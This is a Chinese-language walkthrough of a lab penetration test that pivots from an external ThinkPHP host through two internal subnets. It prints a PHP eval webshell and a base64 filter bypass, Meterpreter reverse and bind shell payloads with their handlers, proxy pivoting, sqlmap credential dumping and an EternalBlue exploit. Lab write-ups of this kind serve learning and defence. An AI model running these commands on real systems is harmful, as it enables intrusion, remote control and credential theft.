外网勘察到多重内网渗透
2022-7-12 08:0:38 Author: 雾晓安全(查看原文) 阅读量:35 收藏

0x01 搭建环境

首先先配置VM的网卡

连接我们本地的1111端口,就是他的3389端口了

配置两个仅主机的网卡,子网地址其实无所谓,只要不是同一个网段就可以了,但是这里为了符合机器的默认配置,所以
VMnet2为192.168.22.0/24网段
VMnet3为192.168.33.0/24网段
整体的一个拓扑图:

0x02 外网打点到双重内网渗透

首先我们使用攻击机扫描我们所在网段(192.168.77.0/24)内的机

nmap -sn -T4 192.168.77.0/24
-sn:禁用端口扫描,只使用icmp去扫描网段内存活机器

这里扫描到除了我们本机以外,还有三台机器,我们以此对这些机器进行端口扫描
nmap -T4 -O 192.168.77.2
nmap -T4 -O 192.168.77.254
nmap -T4 -O 192.168.77.132

最后确定192.168.77.132为我们目标主机,并且我们可以根据端口开放情况对目标主机信息基本信息收集,8888端口一般为宝塔建站,所以可以初步估计是使用宝塔搭建的PHP网站,使用Mysql数据库,访问Web服务,从Web服务作为切入点

是一个ThinkPHP v5版本,Thinkphp5大概率存在远程代码执行漏洞

这种存在漏洞的网站我们可以直接使用Exp来打,使用工具来验证是否存在漏洞

存在漏洞,但是这里只能执行命令执行,工具的Getshel失败,我们只能手动写入一个shell
echo "<?php @eval($_POST['cmd']); ?>" > shell.php
写入之后访问报错,我们cat命令查看一下我们写入的shell.php

很明显的可以看到$_POST被过滤了,这里我们使用Base64加密的方式写入,从而达到绕过
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell1.php

成功拿到shell

当前shell是一个普通权限,但是目标是后面的所有机器,所以这台机器www权限也是可以的,我们把会话派生到msf上,使用msf生成一个木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.77.131 LPORT=6666 
SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >
shell.elf
elf为Linux主要可执行文件的一种格式SessionCommunicationTimeout=0SessionExpirationTimeout=0
这两个参数的意思是会话不会被销毁并且优先级最高


通过Webshell将这个shell.elf上传到目标机器

再到攻击机进行监听
[email protected] > msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 6666
msf6 > expolit

这里执行这个shell.elf之前先chmod 777给予权限,就可以执行了,派生到msf之后我们查看一下机器的网卡

是个双网卡机器,里面还有一个192.168.22.0/24网段的内网环境
通过msf自带的模块也可以查看内网网段
meterpreter > run get_local_subnets
get_local_subnets:获得本地的子网

我们需要进入192.168.22.0/24网段的话需要添加一个路由

meterpreter > run autoroute -s 192.168.22.0/24

查看路由是否添加成功
meterpreter > run autoroute -p

创建成功之后我们就可以先把会话挂起了


挂起会话之后我们需要用到socks代理
msf6> use auxiliary/server/socks_proxy
msf6> set VERSION 4a                    # 这里选择4a,笔者使用5时出了点问题
msf6> set SRVHOST 192.168.1.1           # IP设置为Kali机器的IP
msf6> show options                     # 查看配置信息
msf6> exploit

配置好之后我们还需要修改Kali的本机配置文件
vim /etc/proxychains4.conf

将最下面的一行IP和端口修改成我们上面设置的IP和端口,配置完成之后我们就可以使用proxychains命令,所有经过socks4代理的命令都要带这个前缀,这里我们通过socks4代理使用nmap扫描192.168.22.0/24网段内存活的主机和开放的端口
proxychains nmap -Pn -sT 192.168.22.0/24
nmap在这种情况要加-Pn参数,因为socks只支持UDP协议,不支持TCP和ICMP

看到这样就是正在通过我们搭建的socks4代理在进行扫描,这里因为通过代理扫描整个C段需要的时间太多了,我们这里直接扫描机器②

proxychains nmap -Pn -sT 192.168.22.128

这台机器和之前那台机器开放的端口是一样的,我们通过socks代理打开浏览器访问他的web服务
proxychains firefox

可以看到是一个八哥CMS,百度未果,没有发现Exp可以直接Getshell,首先扫描后台,使用SocksCap64来进行Windows的代理

安装好之后选择代理(前提是本机和Kali在一个内网段,或者Kali有公网IP),将代理IP填写Kali的IP,端口为socks配置的1080端口,代理类型选择4/4a

将御剑和蚁剑添加进去,然后右键-在代理隧道中运行选中程序

扫描出来一个robots.txt就没有其他的有用东西了,访问之后得到了后台登录地址

尝试弱口令和爆破未果,访问首页查看源码,最下面提示了注入点

使用sqlmap一把梭哈(注意不要使用--batch,他会自己结束)
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --dbs
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -D dabecms --tables
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -D dabecms -T bage_admin --columns
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -D dabecms -T bage_admin -C username,password --dump

登入进来之后在模板处写入一句话

连接Webshell,再使用Kali生成一个正向连接的木马
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell.elf
reverse_tcp:受控机主动连接我们bind_tcp:我们主动连接受控机使用reverse_tcp较为安全,一般不会被防火墙发现
上传上去之后我们再Kali进行监听,注意这里启动msfconsole也要通过proxychains启动
> proxychanis msfconsole
msf6> use exploit/multi/handler
msf6> set payload linux/x64/meterpreter/bind_tcp  # bind是正向连接,我们连接他
msf6> set rhost 192.168.22.129                    # 这里填我们连接那台机器的IP
msf6> set lport 12345
msf6> exploi


弹回来之后查看路由表,发现里面还有一个段192.168.33.0/24
还是老样子,添加一条192.168.33.0/24的路由
meterpreter > run autoroute -s 192.168.33.0/24
meterpreter > run autoroute -p
查看是否成功添加


添加成功之后我们就可以访问192.168.33.0/24网段了,还是老样子使用proxychains nmap来扫描这个网段内存活主机,这里因为两层代理,所以扫描整个C段比之前更加慢,我们可以使用msf的模块来扫描网段内开放端口的主机
> proxychains mfconsole
msf6> use exploit/multi/handler
msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.33.0/24
msf6 auxiliary(scanner/portscan/tcp) > set ports 445,3389
msf6 auxiliary(scanner/portscan/tcp) > exploit

可以看到192.168.33.33为这个网段中存活的主机,并且开放了445端口,我们使用脚本对该机器进行扫描
proxychains nmap --script=vuln 192.168.33.33

扫描出该机器存在永恒之蓝
> proxychains mfconsole
msf6> use exploit/windwos/smb/ms17_010_psexec
msf6> set paylaod windows/meterpreter/bind_tcp
msf6> set rhost 192.168.33.33
msf6> exploit

那么整个内网环境就拿下了,一共三台机器

往期推荐 

// 1

熊海CMS1.0代码审计

// 2

使用安卓模拟器抓取HTTP(S)数据包

// 3

(总结)绕过CDN查找真实IP

// 4

 绕过CVE-2019-1040的基于资源委派攻击方法


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247492951&idx=2&sn=a8a079afdabbba33756c05907adf8833&chksm=ce682ad1f91fa3c764d225a8a6c13ef6e4fc0bd1712de6c6d58c912542da1d4acb74b0f30cc0#rd
如有侵权请联系:admin#unsafe.sh